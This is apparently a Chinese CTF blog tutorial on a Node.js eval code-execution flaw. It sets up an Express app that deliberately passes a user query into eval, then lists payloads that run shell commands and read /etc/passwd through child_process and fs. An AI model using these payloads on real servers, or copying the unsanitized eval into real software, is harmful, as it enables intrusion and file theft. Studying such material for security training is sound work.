CTF Web安全

Node.js代码执行漏洞

Posted on 2020-01-02,2 min read

漏洞成因
程序员没有对用户输入进行控制,直接带入eval执行,从而造成代码执行

漏洞复现
1.安装Node.js

cd /usr/local/node/
wget https://npm.taobao.org/mirrors/node/latest-v4.x/node-v4.4.7-linux-x64.tar.gz
tar -zxvf node-v4.4.7-linux-x64.tar.gz
cd node-v4.4.7-linux-x64
ln -s /usr/local/node/node-v4.4.7-linux-x64/bin/npm /usr/local/bin/npm
ln -s /usr/local/node/node-v4.4.7-linux-x64/bin/node /usr/local/bin/node
export PATH=/usr/local/bin/:$PATH

2.搭建环境

mkdir /nodeapp
cd /nodeapp
npm init
#为你的项目创建一个package.json文件,会问项目名称,版本等,可以全部回车默认
npm install expres --save
#安装expres框架

3.漏洞代码
vim /nodeapp/codeexe.js

var express = require('express');
var app = express();
app.get('/',function(req,res){
	var resp=eval("("+req.query.input+")");
	res.send('Output</br>'+resp);
});
app.listen(8001);

上述代码中。直接获取输入,没转义或者过滤。传递给了eval函数。这是很典型的代码执行。
4.启动代码
node codeexe.js
访问http://IP:8001
5.判断漏洞是否存在
输入1,返回1

输入10*10,返回100,这就说明,把我们的代码执行了

6.漏洞利用
执行命令,利用exec函数
require(%27child_process%27).execSync(%27cat+/etc/passwd%27).toString()

读取文件,利用readfile函数
res.end(require(%27fs%27).readFileSync(%27/etc/passwd%27).toString())
类似的函数还有很多。。。不一一解释了(主要是我还不会~~)

下一篇: 内网端口转发总结→